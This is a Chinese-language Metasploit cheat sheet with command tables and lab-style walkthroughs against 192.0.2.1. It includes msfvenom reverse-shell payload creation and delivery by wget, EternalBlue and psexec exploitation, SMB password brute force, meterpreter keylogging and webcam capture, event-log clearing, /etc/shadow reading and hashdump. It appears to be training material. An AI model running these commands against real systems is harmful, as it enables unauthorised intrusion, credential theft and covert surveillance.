工具地址
工具介绍
世界上使用最广泛的渗透测试框架
知识就是力量,尤其是在共享知识的时候。Metasploit 是开源社区与 Rapid7 合作的成果,它不仅能帮助安全团队验证漏洞、管理安全评估和提升安全意识,还能赋能并武装防御者,让他们始终领先一步(甚至两步)。
搭建流程
使用方法
初始化命令
命令 |
解释 |
systemctl start postgresql |
启动 PostgreSQL 数据库面 |
sudo -u postgres msfdb init |
初始化Metasploit数据库 |
sudo -u postgres msfdb delete |
删除现有Metasploit数据库 |
msfconsole |
主命令行界面 |
msfconsole 基础命令
基础命令 |
解释 |
workspace |
显示所有工作区 |
workspace -a/-d <WORKSPACE_NAME> |
启动时位于默认工作区,-a 添加,-d 删除工作区 |
workspace <WORKSPACE_NAME> |
切换工作区,以 * 开头为当前工作区,单独使用显示所有工作区 |
ls |
列出文件夹的内容 |
clear |
清除终端屏幕 |
help <COMMAND> |
帮助菜单,可单独使用或命令搭配 -help/-h 使用 |
history |
查看之前输入的命令 |
1 2 3 4 5 6 7 8 9 10
| workspace -a/-d <WORKSPACE_NAME> workspace -a hacker
help <COMMAND> help set
|
msfconsole 数据库命令
数据库命令 |
解释 |
db_status |
启动并检查数据库状态 |
db_nmap |
所有结果都将保存到数据库中 |
hosts |
获取数据库中与目标系统上运行的主机相关的信息 |
services |
获取数据库中与目标系统上运行的服务相关的信息 |
hosts -R |
将数据库中此值添加到 rhosts 参数 |
services -S <KEYWORDS> |
搜索数据库中在环境中特定的服务 |
1 2 3 4
| services -S <KEYWORDS> services -S netbios
|
msfconsole 操作命令
操作命令 |
解释 |
search type:<MODULE_TYPE> <KEYWORDS> |
搜索特定类型的模块 |
search <MODULE_PATH>/<KEYWORDS> |
搜索与给定搜索参数相关的模块,使用 CVE 编号、漏洞名称或目标系统进行搜索 |
use <MODULE_PATH>/<NUMBER> |
选择要使用的模块 |
info <MODULE_PATH> |
获取有关任何模块的更多信息,可在模块中直接使用 |
show <MODULE_TYPE> |
列出可用模块类型 |
show payloads |
列出可用于该特定漏洞利用程序的其他命令 |
set payload <NUMBER> |
进行设置有效载荷,可能需要反复实验找到能用 payload |
show options |
列出所有可用的参数 |
set <PARAMETER_NAME> <VALUE> |
设置模块参数的值,可多次修改 |
setg <PARAMETER_NAME> <VALUE> |
设置全局参数值,适用于所有模块,可多次修改 |
unset <PARAMETER_NAME>/all |
清除指定模块中设置的参数或使用 all 清除全部参数 |
unsetg <PARAMETER_NAME>/all |
清除全局参数或使用 all 清除所有全局设置 |
rhosts |
目标系统的单个 IP 地址或网络范围,可使用数据库导入目标 |
rport |
目标系统上运行的端口 |
lhost |
攻击机器的 IP 地址 |
lport |
攻击机器上的端口 |
exploit/run -z |
启动漏洞模块,-z 参数会在会话建立后自动将其置于后台,不会进入交互模式 |
sessions |
查看与目标系统建立的所有会话 ID |
back |
离开上下文 |
check |
检查目标系统是否存在漏洞 |
sessions -i <NUMBER> |
与指定编号的会话进行交互 |
sessions -u <NUMBER> |
与指定编号的会话升级为 meterpreter |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| search type:<MODULE_TYPE> <KEYWORDS> search type:auxiliary udp
search <MODULE_PATH>/<KEYWORDS> search auxiliary/scanner/smtp/smtp_relay search SMTP open relay
use <MODULE_PATH>/<NUMBER> use exploit/windows/smb/ms17_010_eternalblue use 2
set <PARAMETER_NAME> <VALUE> set rhosts 192.0.2.1
|
meterpreter 命令
命令 |
解释 |
getuid |
显示当前用户身份 |
sysinfo |
显示系统信息 |
getpid |
显示当前进程 ID |
ps |
列出正在运行的进程,Meterpreter 会伪装成其他进程 |
migrate <PID> |
将 Meterpreter 迁移到另一个进程,但可能会丢失高权限 |
getsystem |
将当前 Meterpreter 会话权限提升到本地系统(SYSTEM)最高权限 |
getsystem |
将当前 Meterpreter 会话权限提升到本地系统(SYSTEM)最高权限 |
guid |
获取会话 GUID(全局唯一标识符) |
help |
显示帮助菜单 |
info |
显示有关 Post 模块的信息 |
irb |
打开交互式 Ruby shell |
load <Extensions> |
加载一个或多个 Meterpreter 扩展,例如 python,kiwi |
run |
执行脚本或 Post 模块 |
sessions |
切换到其他会话 |
cd |
更改目录 |
ls/dir |
列出当前目录中的文件 |
pwd |
打印当前工作目录 |
edit |
编辑文件 |
cat |
显示文件内容 |
rm |
删除指定文件 |
search -f <FILE> |
搜索文件 |
upload |
上传文件或目录 |
download |
下载文件或目录 |
arp |
显示 ARP 缓存 |
ifconfig |
显示网络接口信息 |
netstat |
显示网络连接 |
portfwd |
本地端口转发到远程服务 |
route |
查看和修改路由表 |
clearev |
清除事件日志 |
execute |
执行命令 |
kill |
终止进程 |
pkill |
按名称终止进程 |
reboot |
重启远程计算机 |
shell |
进入系统命令行 |
shutdown |
关闭远程计算机 |
idletime |
显示用户空闲时间(秒) |
keyscan_start |
开始捕获击键 |
keyscan_dump |
转储击键缓冲区 |
keyscan_stop |
停止捕获击键 |
screenshare |
实时查看远程桌面 |
screenshot |
截取桌面截图 |
record_mic |
使用麦克风录音 X 秒 |
webcam_chat |
启动视频聊天 |
webcam_list |
列出摄像头设备 |
webcam_snap |
拍摄摄像头快照 |
webcam_stream |
视频流方式播放摄像头 |
getsystem |
提升权限为 SYSTEM |
hashdump |
转储安全帐户管理器 (SAM) 数据库密码哈希 |
shell |
将当前会话移至 shell |
background/Ctrl + Z |
将当前会话移至后台并返回 meterpreter |
exit |
终止 Meterpreter 会话 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| migrate <PID> migrate 720
load <Extensions> load priv
search -f <FILE> search -f file.txt
|
msfvenom 命令
命令 |
解释 |
msfvenom -l payloads |
列出可使用的 payload |
msfvenom --list formats |
列出可创建的多种格式 |
msfvenom -p <PAYLOAD_PATH> LHOST=<IP> LPORT=<PORT> -f <FILE_TYPE> > <FILE> |
列出可创建的多种格式 |
1 2 3 4 5 6 7 8
| msfvenom -p <PAYLOAD_PATH> LHOST=<IP> LPORT=<PORT> -f <FILE_TYPE> > <FILE> msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.0.2.1 LPORT=1234 -f elf > rev_shell.elf
|
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| msfconsole
search portscan
use auxiliary/scanner/portscan/tcp
nmap -sS 192.0.2.1
search NetBIOS
use auxiliary/scanner/netbios/nbname
show options
set rhosts 192.0.2.1
run
back
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| msfconsole
search http_version
use auxiliary/scanner/http/http_version
set rhost 192.0.2.1
set rport 8000
run
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| msfconsole
search smb_login
use auxiliary/scanner/smb/smb_login
set rhosts 192.0.2.1
set smbuser cypher
set pass_file /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt
run
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.0.2.1 LPORT=1234 -f elf > rev_shell.elf
python3 -m http.server 9000
wget http://192.0.2.1:9000/rev_shell.elf
chmod +x rev_shell.elf
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.0.2.1
set lport 1234
run
cat /etc/shadow
Ctrl + z
use post/linux/gather/hashdump
set session 2
run
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| msfconsole
use exploit/windows/smb/psexec
show payloads
set payload windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.0.2.1
set smbuser cypher
set smbpass passwd
show options
run
getuid
sysinfo
Ctrl + z
use post/windows/gather/enum_domain
set session 1
run
use post/windows/gather/enum_shares
set session 1
run
sessions -i 1
getpid
ps
migrate 732
hashdump
search -f file.txt
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| msfconsole
nmap -sV --script vuln 192.0.2.1
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.0.2.1
set payload windows/x64/shell/reverse_tcp
run
Ctrl + z
sessions -u 1
getuid
shell
whoami
Ctrl + z
migrate 700
hashdump
search -f *file*
|